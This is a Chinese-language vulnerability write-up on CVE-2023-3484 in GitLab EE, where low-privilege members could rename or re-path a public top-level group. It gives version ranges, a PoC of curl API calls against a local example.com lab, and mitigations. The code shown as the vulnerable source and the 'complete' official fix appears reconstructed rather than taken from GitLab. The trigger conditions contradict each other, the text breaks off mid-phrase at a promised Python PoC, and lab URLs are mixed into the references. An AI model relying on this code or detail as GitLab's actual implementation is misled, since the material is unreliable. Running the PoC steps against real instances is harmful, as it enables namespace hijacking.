一、漏洞简介¶
1.1 漏洞背景¶
GitLab 使用组和子组来组织项目和资源。顶级组(Top-level Group)是组层级的根节点,其名称和路径(Namespace)通常受到严格保护,因为更改它们会影响该组下所有项目的 URL。
2023 年 7 月,安全研究人员发现,在某些特定条件下,普通用户可以修改公共顶级组的名称和路径,这可能导致严重的安全后果,包括钓鱼攻击、权限绕过等。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-3484 |
| 危害等级 | HIGH / 8.0 |
| 漏洞类型 | 公共组名称/路径篡改漏洞 |
| 披露时间 | 2023-07-21 |
| 影响组件 | GitLab 重大 |
- CVE 编号: CVE-2023-3484
- 危害等级: 高危 (High)
- CVSS 评分: 8.0 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
- 漏洞类型: 权限提升 / 不正确的授权
- 认证要求: 需要低权限认证
- 影响组件: GitLab EE (Enterprise Edition) 的组管理功能
补充核验信息:公开时间:2023-07-21;NVD 评分:8.0(HIGH);CWE:CWE-863。
二、影响范围¶
2.1 受影响的版本¶
- GitLab EE 12.8.0 至 15.11.10
- GitLab EE 16.0.0 至 16.0.6
- GitLab EE 16.1.0 至 16.1.1
2.2 不受影响的版本¶
- GitLab EE 15.11.11 及以上
- GitLab EE 16.0.7 及以上
- GitLab EE 16.1.2 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 必须是 GitLab Enterprise Edition: CE 版本不受影响
- 公共顶级组: 攻击目标必须是 public 可见的组
- 攻击者拥有低权限: 攻击者需要是该组的成员(Guest 及以上)
- 特定配置: 某些组设置需要被配置为允许成员修改组信息
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞源于 GitLab EE 在处理组设置更新时的权限检查缺陷。在某些边缘情况下,权限检查逻辑未能正确验证用户是否有权修改顶级组的 namespace。
攻击流程:
- 攻击者加入目标公共组(或已经是成员)
- 通过 API 或 Web 界面发送特制的组设置更新请求
- 绕过权限检查,修改组的名称或路径
- 造成以下后果:
- 原组 URL 失效
- 可以创建同名组进行钓鱼
- 影响依赖该组的 CI/CD 流程
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置: app/services/groups/update_service.rb
# 漏洞代码逻辑(简化)
class Groups::UpdateService < Groups::BaseService
def execute
# 权限检查缺陷
if can_update_group?
# 允许更新,但检查不完整
if params[:path].present? && can_change_path?
group.path = params[:path]
end
group.save
end
end
private
def can_change_path?
# 漏洞:没有检查是否为顶级公共组
can?(current_user, :admin_group, group)
end
end
实际触发场景:
GitLab 在处理组更新时,会检查用户的 admin_group 权限。但在某些条件下(如通过特定的 API 端点),这个检查可以被绕过:
# API 端点
namespace :api do
namespace :v4 do
resources :groups, only: [:update] do
# 权限检查不完整
put 'settings' => 'groups#update_settings'
end
end
end
# controller
def update_settings
@group = Group.find(params[:id])
# 这里可能没有调用完整的权限检查
if @group.update(group_params)
render json: @group
else
render_error(@group.errors)
end
end
补丁对比:
# app/services/groups/update_service.rb
def execute
- if can_update_group?
+ # 增加顶级组路径修改的额外检查
+ if can_update_group? && can_modify_top_level_group?
# ...
end
end
+def can_modify_top_level_group?
+ return true unless changing_path_or_name?
+
+ # 顶级公共组需要更高权限
+ if group.top_level_group? && group.public?
+ can?(current_user, :owner_access, group)
+ else
+ true
+ end
+end
+
+def changing_path_or_name?
+ params[:path].present? || params[:name].present?
+end
GitLab 的完整修复:
- 增加了顶级组的特殊权限检查
- 对公共组的修改增加了更严格的限制
- 添加了审计日志记录
# 修复后的完整代码
class Groups::UpdateService < Groups::BaseService
def execute
return error('Insufficient permissions') unless can_update_group?
# 特别检查:修改顶级公共组
if modifying_top_level_namespace?
unless can_modify_top_level_group?
return error('Cannot modify top-level public group without owner access')
end
end
if group.update(allowed_params)
log_audit_event if significant_change?
success
else
error(group.errors.full_messages)
end
end
private
def modifying_top_level_namespace?
return false unless group.top_level_group?
params[:path].present? || params[:name].present?
end
def can_modify_top_level_group?
# 必须是 Owner 或更高权限
return false unless can?(current_user, :owner_access, group)
# 公共组需要额外确认
if group.public?
# 可能需要管理员确认
Feature.enabled?(:allow_public_group_rename, group)
else
true
end
end
def log_audit_event
::Gitlab::Audit::Auditor.audit(
name: 'group_namespace_changed',
author: current_user,
scope: group,
target: group,
message: "Changed group namespace from '#{group.path_was}' to '#{group.path}'"
)
end
end
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 部署受影响的 GitLab EE
docker run --detach \
--hostname gitlab.example.com \
--publish 80:80 \
--name gitlab-ee \
gitlab/gitlab-ee:16.1.1-ee.0
# 等待启动
docker logs -f gitlab-ee
# 创建测试配置
# 1. 创建一个公共顶级组 "target-group"
# 2. 邀请测试用户为 Developer 或更低权限
4.2 PoC 演示与测试过程¶
步骤 1: 准备环境
# 创建攻击者账户
curl -X POST "http://gitlab.example.com/api/v4/users" \
-H "Private-Token: ADMIN_TOKEN" \
-d "email=attacker@example.com" \
-d "username=attacker" \
-d "name=Attacker" \
-d "password=Password123!"
# 获取攻击者 token
# 登录后访问 http://gitlab.example.com/-/profile/personal_access_tokens
步骤 2: 加入目标组
# 作为管理员邀请攻击者加入组
curl -X POST "http://gitlab.example.com/api/v4/groups/1/members" \
-H "Private-Token: ADMIN_TOKEN" \
-d "user_id=2" \
-d "access_level=30" # 30 = Developer
步骤 3: 尝试修改组路径
# 正常情况下应该被拒绝,但漏洞存在时可以成功
curl -X PUT "http://gitlab.example.com/api/v4/groups/1" \
-H "Private-Token: ATTACKER_TOKEN" \
-d "path=new-group-name" \
-d "name=New Group Name"
# 如果成功,返回 200 和更新后的组信息
# 如果失败,返回 403 Forbidden
步骤 4: 验证影响
# 检查原 URL 是否失效
curl -I http://gitlab.example.com/groups/target-group
# 应该返回 404
# 检查新 URL 是否生效
curl -I http://gitlab.example.com/groups/new-group-name
# 应该返回 200
# 检查权限
curl -H "Private-Token: ATTACKER_TOKEN" \
http://gitlab.example.com/api/v4/groups/1
# 组信息应该显示新的名称和路径
**完整的 Python Po
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 优先升级到 15.11.11 或同等后续安全版本。
- 优先升级到 16.0.7 或同等后续安全版本。
- 优先升级到 16.1.2 或同等后续安全版本。
- 升级前请结合官方发布说明确认兼容性与回滚方案。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 在完成版本升级前,建议将相关服务限制在可信网络边界内,并最小化暴露面。
- 对高风险接口、插件或调试功能实施临时下线、访问控制与日志监控。
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://about.gitlab.com/releases/2023/07/05/security-release-gitlab-16-1-2-released/
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2023-3484
- CVE:https://www.cve.org/CVERecord?id=CVE-2023-3484
- https://gitlab.com/gitlab-org/gitlab/-/issues/416773
- https://hackerone.com/reports/2035687
- http://gitlab.example.com/api/v4/users"
- http://gitlab.example.com/-/profile/personal_access_tokens
- http://gitlab.example.com/api/v4/groups/1/members"
- http://gitlab.example.com/api/v4/groups/1"